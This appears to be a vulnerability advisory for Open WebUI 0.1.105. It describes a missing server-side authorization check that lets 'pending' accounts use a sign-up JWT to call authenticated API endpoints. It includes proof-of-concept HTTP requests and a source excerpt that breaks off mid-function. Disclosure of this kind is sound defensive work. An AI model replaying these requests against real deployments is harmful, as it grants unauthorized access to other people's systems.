Open WebUI has Improper Authorization Control

# **CONFIDENTIAL** # Vulnerability Disclosure Analysis Documentation --- ## Vulnerability Details | # | Field | Value | |---|-------|-------| | 1 | **Discoverer** | Taylor Pennington of KoreLogic, Inc. | | 2 | **Date Submitted** | June 11, 2024 | | 3 | **Title** | Open WebUI Improper Authorization Control | | 5 | **Affected Vendor** | Open WebUI | | 6 | **Affected Product(s)** | Open WebUI (Formerly Ollama WebUI) | | 7 | **Affected Version(s)** | 0.1.105 | | 8 | **Platform/OS** | Debian GNU/Linux 12 (bookworm) | | 9 | **Vector** | HTTP web interface | | 10 | **CWE** | 285 Improper Authorization | --- ## 4. High-level Summary There is a missing authorization check affecting user accounts with a `pending` status allowing the user to make authenticated API calls as a `user` context. --- ## 11. Technical Analysis The Open WebUI web application has three user role classifications: `user`, `admin`, and `pending`. By default, when Open WebUI is configured with `new sign-ups` enabled, the default user role is set to `pending`. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either `user` or `admin` before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of `user`. ### Request ```http POST /api/v1/auths/signup HTTP/1.1 Host: openwebui.example.com Content-Length: 60 { "name": "", "email": "bad_guy@korelogic.com", "password": "a" } ``` ### Response ```http HTTP/1.1 200 OK ... { "id": "f839557a-031a-47a5-9999-0b0998f8f959", "email": "bad_guy@korelogic.com", "name": "", "role": "pending", "profile_image_url": "/user.png", "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs", "token_type": "Bearer" } ``` An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI. With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the `/ollama/api/tags` endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP `401 Unauthorized` response. ### Request ```http GET /ollama/api/tags HTTP/1.1 Host: openwebui.example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs ``` ### Response ```http HTTP/1.1 200 OK ... { "models": [ { "name": "ollama.com/emsi/mixtral-8x22b:latest", "model": "ollama.com/emsi/mixtral-8x22b:latest", "modified_at": "2024-04-12T17:27:51.479356401-04:00", "size": 79509285991, "digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319", "details": { "parent_model": "", "format": "gguf", "family": "llama", "families": ["llama"], "parameter_size": "141B", "quantization_level": "Q4_0" }, "urls": [0] }, ... ] } ``` The logic for this endpoint can be seen here: <https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180> As shown below, the login checks if `url_idx` is `None` and if so, call `get_all_mdoels` and assign the result to `models` after that the logic checks if `app.state.MODEL_FILTER_ENABLED` is true and if not, it returns the result. As `MODEL_FILTER_ENABLED` is not configured by default, the application will not attempt to further validate the user. ```python @app.get("/api/tags") @app.get("/api/tags/{url_idx}") async def get_ollama_tags( url_idx: Optional[int] = None, user=Depends(get_current_user) ): if url_idx == None: m

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Severity from

GitHub (reviewed advisory)

Weakness

CWE-602, CWE-862

Also known as

CVE-2026-44567, PYSEC-2026-2703

• github.com/open-webui/open-webui/security/advisories/GHSA-4vg5-rp28-gvjf
• nvd.nist.gov/vuln/detail/CVE-2026-44567
• github.com/open-webui/open-webui